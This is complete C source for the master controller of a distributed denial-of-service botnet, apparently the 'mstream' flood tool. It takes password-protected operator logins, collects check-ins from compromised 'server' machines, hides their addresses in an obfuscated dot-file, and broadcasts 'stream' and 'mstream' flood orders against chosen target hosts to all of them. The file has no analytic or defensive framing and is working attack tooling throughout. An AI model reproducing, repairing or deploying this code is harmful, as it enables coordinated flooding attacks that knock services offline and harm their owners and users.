/* spwn */

#define PASSWORD "sex"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)

#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200

#include <unistd.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/uio.h>
#include <signal.h>

/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, ...);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, ...);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */


typedef struct _socks {
   int fd;
   int opts;
   int idle;
   char *ip;
} socks;

socks users[MAXUSERS];

int main (int argc, char *argv[])
{
     fd_set readset;
     int i, tcpfd, udpfd, socksize, pongs = 0;
     struct sockaddr_in udpsock, tcpsock, remotesock;
     struct timeval t;
     char ibuf[1024], obuf[1024], *arg[3];
   
   signal(SIGINT, sighandle);
   signal(SIGHUP, sighandle);
   signal(SIGSEGV, sighandle);

   socksize = sizeof(struct sockaddr);
   
   if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror("socket");
      exit(0);
   }
   
   if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
      perror("socket");
      exit(0);
   }
   
   tcpsock.sin_family = AF_INET;
   tcpsock.sin_port = htons(MASTER_TCP_PORT);
   tcpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&tcpsock.sin_zero, 0, 8);
   
   if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
      perror("bind");
      exit(0);
   }
   
   if (listen(tcpfd, MAXUSERS+1) == -1) {
      perror("listen");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
      perror("setsockopt");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
      perror("setsockopt");
      exit(0);
   }
   
   if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
      perror("fcntl");
      exit(0);
   }
   
   udpsock.sin_family = AF_INET;
   udpsock.sin_port = htons(MASTER_UDP_PORT);
   udpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&udpsock.sin_zero, 0, 8);
   
   if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
      perror("bind");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
      perror("setsockopt");
      exit(0);
   }
   
   i = 1;
   
   if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
      perror("setsockopt");
      exit(0);
   }
   
   for (i = 0 ; i <= MAXUSERS ; i++) {
      users[i].opts = (0 & ~USED);
   }
   
   
   forkbg();

   t.tv_sec = 2;
   t.tv_usec = 1;
   
   for (;;) {
      
      for (i = 0 ; i <= MAXUSERS ; i++)
	if (users[i].opts & USED)
	  if ((time(0) - users[i].idle) > 420) {
	     memset(&obuf, 0, sizeof obuf);
	     sprintf(obuf, "\nYou're too idle !\n");
	     send(users[i].fd, &obuf, strlen(obuf), 0);
	     close(users[i].fd);
	     users[i].opts &= ~USED;
	  }
      
      FD_ZERO(&readset);
      FD_SET(tcpfd, &readset);
      FD_SET(udpfd, &readset);
      
      for (i = 0 ; i <= MAXUSERS ; i++) {
	 if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
      }
      
      if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;
      
      if (FD_ISSET(tcpfd, &readset)) {
	 int socknum;
	 u_long ip;
	 struct hostent *hp;
	 
	 if ((socknum = findfree()) == -1) {
	    socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
	    close(socknum);
	    continue;
	 }
	 
	 users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
	 for (i = 0 ; i <= MAXUSERS ; i++) {
	    if (users[i].opts & USED) {
	       memset(&obuf, 0, sizeof obuf);
	       snprintf(obuf, (sizeof obuf)-1, "\nConnection from %s\n", inet_ntoa(remotesock.sin_addr));
	       send(users[i].fd, &obuf, strlen(obuf), 0);
	       prompt(users[i].fd);
	    }
	 }
	 
	 users[socknum].opts = (USED & ~AUTH);
	 ip = remotesock.sin_addr.s_addr;
	 if ((hp = gethostbyaddr((char *)&ip, sizeof ip, AF_INET)) == NULL) {
	    users[socknum].ip = (char *) malloc(MAX_IP_LENGTH);
	    strncpy(users[socknum].ip, inet_ntoa(remotesock.sin_addr), MAX_IP_LENGTH-1);
	 } else {
	    users[socknum].ip = (char *) malloc(MAX_HOST_LENGTH);
	    strncpy(users[socknum].ip, hp->h_name, MAX_HOST_LENGTH-1);
	 }
	 
	 users[socknum].idle = time(0);
      }
      
      if (FD_ISSET(udpfd, &readset)) {
	 memset(&ibuf, 0, sizeof ibuf);
	 if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
	 nlstr(ibuf);
	 
	 if (!strcmp(ibuf, "newserver")) {
	    FILE *f;
	    char line[1024];
	    int i;
	    
	    if ((f = fopen(SERVERFILE, "r")) == NULL) {
	       f = fopen(SERVERFILE, "w");
	       fclose(f);
	       continue;
	    }
	    while (fgets(line, (sizeof line)-1, f)) {
	       nlstr(line);
	       fof(line);
	       nlstr(line);
	       if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
		  continue;
	       }
	    }
	    fclose(f);
	    if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
	    memset(&obuf, 0, sizeof obuf);
	    snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
	    tof(obuf);
	    fprintf(f, "%s\n", obuf);
	    for (i = 0 ; i <= MAXUSERS ; i++)
	      if (users[i].opts & USED) {
		 memset(&obuf, 0, sizeof obuf);
		 snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
		 send(users[i].fd, &obuf, strlen(obuf), 0);
		 prompt(users[i].fd);
	      }
	    fclose(f);
	 }
	 
	 if (!strcmp(ibuf, "pong")) {
	    pongs++;
	    for (i = 0 ; i <= MAXUSERS ; i++) {
	       if (users[i].opts & USED) {
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  prompt(users[i].fd);
	       }
	    }
	 }
      }
      
      for (i = 0 ; i <= MAXUSERS ; i++) {
	 if (users[i].opts & USED) {
	    if (FD_ISSET(users[i].fd, &readset)) {
	       if (!(users[i].opts & AUTH)) {
		  int x;
		  
		  memset(&ibuf, 0, sizeof ibuf);
		  if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		     int y;
		     
		     users[i].opts = (~AUTH & ~USED);
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
		     for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
			send(users[y].fd, &obuf, strlen(obuf), 0);
			prompt(users[y].fd);
		     }
		     
		     close(users[i].fd);
		     free(users[i].ip);
		     continue;
		  }
		  
		  users[i].idle = time(0);
		  
		  for (x = 0 ; x <= strlen(ibuf) ; x++) {
		     if (ibuf[x] == '\n') ibuf[x] = '\0';
		     if (ibuf[x] == '\r') ibuf[x] = '\0';
		  }
		  
		  if (strcmp(ibuf, PASSWORD)) {
		     int y;
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
		     for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
			send(users[y].fd, &obuf, strlen(obuf), 0);
			prompt(users[y].fd);
		     }
		     
		     free(users[i].ip);
		     close(users[i].fd);
		     users[i].opts = (~AUTH & ~USED);
		     continue;
		  }
		  for (x = 0 ; x <= MAXUSERS ; x++) {
		     if ((users[x].opts & USED) && (x != i)) {
			memset(&obuf, 0, sizeof obuf);
			snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
			send(users[x].fd, &obuf, strlen(obuf), 0);
			prompt(users[x].fd);
		     }
		  }
		  users[i].opts |= AUTH;
		  prompt(users[i].fd);
		  continue;
	       }
	       memset(&ibuf, 0, sizeof ibuf);
	       if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
		  int y;
		  
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
		  for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
		     send(users[y].fd, &obuf, strlen(obuf), 0);
		     prompt(users[y].fd);
		  }
		  
		  free(users[i].ip);
		  close(users[i].fd);
		  users[i].opts = (~AUTH & ~USED);
		  continue;
	       }
	       
	       arg[0] = strtok(ibuf, " ");
	       arg[1] = strtok(NULL, " ");
	       arg[2] = strtok(NULL, " ");
	       arg[3] = NULL;

	       if (arg[2]) nlstr(arg[2]);
	       if (!strncmp(arg[0], "stream", 6)) {
		  struct hostent *hp;
		  struct in_addr ia;
		  if ((!arg[1]) || (!arg[2])) {
		     memset(&obuf, 0, sizeof obuf);
		     sprintf(obuf, "Usage: stream <hostname> <seconds>\n");
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     prompt(users[i].fd);
		     continue;
		  }
		  if ((hp = gethostbyname(arg[1])) == NULL) {
		     memset(&obuf, 0, sizeof obuf);
		     snprintf(obuf, (sizeof obuf)-1, "Unable to resolve %s.\n", arg[1]);
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     prompt(users[i].fd);
		     continue;
		  }
		  memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
		  sendtoall("stream/%s/%s", inet_ntoa(ia), arg[2]);
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "Streaming %s for %s seconds.\n", arg[1], arg[2]);
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       if (!strncmp(arg[0], "quit", 4)) {
		  int y;
		  
		  memset(&obuf, 0, sizeof obuf);
		  snprintf(obuf, (sizeof obuf)-1, "%s has disconnected.\n", users[i].ip);
		  for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
		     send(users[y].fd, &obuf, strlen(obuf), 0);
		     prompt(users[y].fd);
		  }
		  
		  free(users[i].ip);
		  close(users[i].fd);
		  users[i].opts = (~AUTH & ~USED);
		  continue;
	       }
	       if (!strncmp(arg[0], "servers", 7)) {
		  FILE *f;
		  char line[1024];
		  
		  if ((f = fopen(SERVERFILE, "r")) == NULL) {
		     memset(&obuf, 0, sizeof obuf);
		     sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
		     send(users[i].fd, &obuf, strlen(obuf), 0);
		     f = fopen(SERVERFILE, "w");
		     fclose(f);
		     prompt(users[i].fd);
		     continue;
		  }
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "The following ips are known servers: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  while (fgets(line, (sizeof line)-1, f)) {
		     nlstr(line);
		     fof(line);
		     send(users[i].fd, &line, strlen(line), 0);
		  }
		  fclose(f);
	       }
	       if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\nAvailable commands: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "stream\t\t--\tstream attack !\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "servers\t\t--\tPrints all known servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "ping\t\t--\tping all servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "who\t\t--\ttells you the ips of the people logged in\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "mstream\t\t--\tlets you stream more than one ip at a time\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       if (!strncmp(arg[0], "who", 3)) {
		  int x;
		  
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\nCurrently Online: \n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  
		  for (x = 0 ; x <= MAXUSERS ; x++) {
		     memset(&obuf, 0, sizeof obuf);
		     if (users[x].opts & USED && users[x].opts & AUTH) {
			snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
			send(users[i].fd, &obuf, strlen(obuf), 0);
		     }
		  }
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
	       }
	       
	       if (!strncmp(arg[0], "ping", 4)) {
		  pongs = 0;
		  memset(&obuf, 0, sizeof obuf);
		  sprintf(obuf, "Pinging all servers.\n");
		  send(users[i].fd, &obuf, strlen(obuf), 0);
		  sendtoall("ping");
	       }
	       if (!strncmp(arg[0], "mstream", 7)) {
			if ((!arg[1]) || (!arg[2])) {
				memset(&obuf, 0, sizeof obuf);
				sprintf(obuf, "Usage: mstream <ip1:ip2:ip3:...> <seconds>\n");
				send(users[i].fd, &obuf, strlen(obuf), 0);
				prompt(users[i].fd);
				continue;
				}
			memset(&obuf, 0, sizeof obuf);
			snprintf(obuf, (sizeof obuf)-1, "MStreaming %s for %s seconds.\n", arg[1], arg[2]);
			send(users[i].fd, &obuf, strlen(obuf), 0);
			sendtoall("mstream/%s/%s\n", arg[1], arg[2]);
			}
	       prompt(users[i].fd);
	    }
	 }
      }
   }
}


int findfree (void) {
    int i;
   
   for (i = 0 ; i <= MAXUSERS ; i++) {
      if (!(users[i].opts & USED)) return i;
   }
   return -1;
}

void forkbg (void) {
    int pid;
           
   pid = fork();
           
   if (pid == -1) {
              perror("fork");
              exit(0);
   }
       
   if (pid > 0) {
              printf("Forked into background, pid %d\n", pid);
              exit(0);
   }
           
}

void nlstr (char *str) {
 int i;

for (i = 0 ; str[i] != NULL ; i++)
	if ((str[i] == '\n') || (str[i] == '\r')) str[i] = '\0';
}

void send2server (u_long addr, char *str, ...) {
    va_list vl;
    char buf[1024];
    int fd;
    struct sockaddr_in sock;
   
   va_start(vl, str);
   vsnprintf(buf, (sizeof buf)-1, str, vl);
   va_end(vl);
   
   if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
   
   sock.sin_family = AF_INET;
   sock.sin_port = htons(SERVER_PORT);
   sock.sin_addr.s_addr = addr;
   memset(&sock.sin_zero, 0, 8);
   
   sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}

void tof (char *str) {
   int i;
   
   for (i = 0 ; str[i] != 0 ; i++)
     str[i]+=50;
}

void fof (char *str) {
   int i;
   
   for (i = 0 ; str[i] != 0 ; i++)
     str[i]-=50;
}

void sendtoall (char *str, ...) {
    va_list vl;
    char buf[1024], line[1024];
    struct sockaddr_in sock;
    int fd;
    FILE *f;
   
   va_start(vl, str);
   vsnprintf(buf, (sizeof buf)-1, str, vl);
   va_end(vl);
   
   if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
   
   sock.sin_family = AF_INET;
   sock.sin_port = htons(SERVER_PORT);
   memset(&sock.sin_zero, 0, 8);
   
   if ((f = fopen(SERVERFILE, "r")) == NULL) {
      f = fopen(SERVERFILE, "w");
      fclose(f);
      return;
   }
   
   while (fgets(line, (sizeof line)-1, f)) {
      nlstr(line);
      fof(line);
      nlstr(line);
      sock.sin_addr.s_addr = inet_addr(line);
      sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
   }
}

void prompt (int fd) {
    char buf[5];
   
   memset(&buf, 0, sizeof buf);
   
   sprintf(buf, "> ");
   send(fd, &buf, strlen(buf), 0);
}

int maxfd (int extra1, int extra2) {
    int mfd = 0, i;
   
   for (i = 0 ; i <= MAXUSERS ; i++)
     if (users[i].opts & USED)
       mfd = max(mfd, users[i].fd);
   mfd = max(max(extra1, extra2), mfd);
   return mfd;
}

void sighandle (int sig) {
 int i;
 char obuf[1024];

memset(&obuf, 0, sizeof obuf);

switch (sig) {
	case SIGHUP:
		snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
		break;
	case SIGINT:
		snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
		break;
	case SIGSEGV:
		snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
		break;
	default:
		snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
	}

for (i = 0 ; i <= MAXUSERS ; i++)
	if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
		send(users[i].fd, &obuf, strlen(obuf), 0);
		prompt(users[i].fd);
		}
if (sig == SIGSEGV) exit(1);
}